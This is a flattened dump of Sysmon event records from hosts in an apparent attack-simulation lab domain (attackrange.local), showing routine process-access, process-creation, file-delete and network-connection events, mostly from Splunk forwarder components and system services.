10341000x800000000000000016601Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016600Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016599Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016598Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016597Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016596Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016595Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.090{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-72D7-613B-0205-00000000F101}1524C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016594Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.090{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-72D7-613B-0205-00000000F101}1524C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016593Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:35.092{625C326B-72D7-613B-0205-00000000F101}1524C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000051849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:36.363{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=44C87B16569B5F12ADD0A7176E6D38B1,SHA256=6DDEA7C74C12CE8073F07009AB59DAF72E8DC36FBFF98F957FD0966143EA97BB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016635Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.230{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5360277448B608DE282046DF0F6E0D4A,SHA256=BB3FDEC9FC2E3BB929164429059D160BE390FE0AD8E5C424D187DD6F634F6D59,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016634Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.230{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=98B89842E0A78DFCE3482CED467F345D,SHA256=F77343DCBF49C4EBF428F2E72A5E1A487930CE6570DB0239E7648F685B135326,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016633Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.090{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-72D8-613B-0405-00000000F101}1300C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016632Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016631Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016630Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016629Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016628Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016627Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016626Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016625Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016624Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.090{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016623Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.090{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-72D8-613B-0405-00000000F101}1300C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016622Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.090{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-72D8-613B-0405-00000000F101}1300C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016621Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:36.091{625C326B-72D8-613B-0405-00000000F101}1300C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000051851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:35.451{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59600-false10.0.1.12-8000- 23542300x800000000000000051850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:37.385{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5CEF7B0A4DBE263AD37C81006D6C768E,SHA256=05D4B3BF45043B5B739B177086B7460B4F3A31F0BCA35CDE9B6E8D1C2F3744E3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016636Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:37.090{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8E2DFDD8269939176396A484F8624DFB,SHA256=7CAA5D64F673FE612143DD9BD4881D6B1B3F35C17F794B42073229FECC557FEE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:36.053{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59597-false104.46.162.226-443https 23542300x800000000000000051852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:38.536{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=11E0C2F2D2C63E1C90DF6297B277EE83,SHA256=F9972645BF0B732409E6ED61E0EDFB959439BA97C15C0A0FCC3CC14A70059439,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016638Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:37.474{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50301-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016637Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:38.121{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 